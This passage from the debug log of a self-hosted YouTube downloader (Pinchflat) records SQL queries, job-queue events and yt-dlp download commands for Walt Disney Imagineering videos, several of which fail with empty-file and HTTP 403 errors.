s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:20:27.429 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8b/ed/8bed4772d49597e64262a0f71fe7edf3fd020538c3de5fb7964870f57ea9e1bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:20:50.022 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.988 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:21:20.024 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:50.026 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:54.096 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8b/ed/8bed4772d49597e64262a0f71fe7edf3fd020538c3de5fb7964870f57ea9e1bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:21:54.096 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 19:21:54.097 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":94912481,"event":"job:exception","queue_time":82128450,"attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:22:00.989 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:22:20.028 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:41.156 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/79/35/7935b86ba054aded0123b6bad26b8e37ffdc44face99601e63941b0925534a25.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:22:41.156 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 19:22:41.157 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":500257515,"event":"job:exception","queue_time":359799,"attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:22:50.029 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.990 [info] {"source":"oban","duration":357,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:23:13.523 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1774999393523478131,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:23:13.524 [debug] QUERY OK source="media_items" db=0.3ms idle=1003.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 19:23:13.524 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:23:13.524 [debug] QUERY OK source="sources" db=0.2ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:23:13.524 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:23:13.525 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 19:23:13.525 [debug] QUERY OK source="media_metadata" db=0.2ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 19:23:13.526 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:23:13.526 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:23:13.526 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:23:13.526 [debug] Running yt-dlp command for action: get_downloadable_status 19:23:13.527 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:23:13.527 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:23:13.527 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:23:13.527 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4f/5f/4f5feeee01f7850e01a3175dfd8fc01874703a8df710dbaad28c55774321ccbb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:23:17.793 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4f/5f/4f5feeee01f7850e01a3175dfd8fc01874703a8df710dbaad28c55774321ccbb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:23:17.793 [debug] Running yt-dlp command for action: download 19:23:17.794 [debug] QUERY OK source="settings" db=0.2ms idle=1272.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:23:17.794 [debug] QUERY OK source="settings" db=0.0ms idle=273.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:23:17.794 [debug] QUERY OK source="settings" db=0.1ms idle=273.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:23:17.794 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/32/e5/32e5a86c26cf0810f3550c9f4ea18e5ff7bbc4c8a3160ca8fe8a0135cba0ea45.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:23:20.031 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:50.032 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.991 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:24:20.034 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:39.626 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1774999479626142925,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:24:39.626 [debug] QUERY OK source="media_items" db=0.3ms idle=105.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 19:24:39.626 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:24:39.627 [debug] QUERY OK source="sources" db=0.2ms idle=106.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:24:39.627 [debug] QUERY OK source="media_profiles" db=0.1ms idle=106.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:24:39.628 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 19:24:39.628 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 19:24:39.628 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:24:39.629 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:24:39.629 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:24:39.629 [debug] Running yt-dlp command for action: get_downloadable_status 19:24:39.630 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:24:39.630 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:24:39.630 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:24:39.630 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/7b/7b/7b7b186cce4b4b753d22cf79d113911ed1e4793ffb81605b1af4b0dd148cf283.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:24:44.433 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/7b/7b/7b7b186cce4b4b753d22cf79d113911ed1e4793ffb81605b1af4b0dd148cf283.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:24:44.433 [debug] Running yt-dlp command for action: download 19:24:44.433 [debug] QUERY OK source="settings" db=0.1ms idle=912.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:24:44.433 [debug] QUERY OK source="settings" db=0.1ms idle=913.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:24:44.434 [debug] QUERY OK source="settings" db=0.1ms idle=913.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:24:44.434 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/36/2a/362a0783c4749d13068fe8ba1e0e260516478312a9f073b1b3c436ce2c0874d2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:24:50.035 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:52.987 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/36/2a/362a0783c4749d13068fe8ba1e0e260516478312a9f073b1b3c436ce2c0874d2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 19:24:52.988 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to 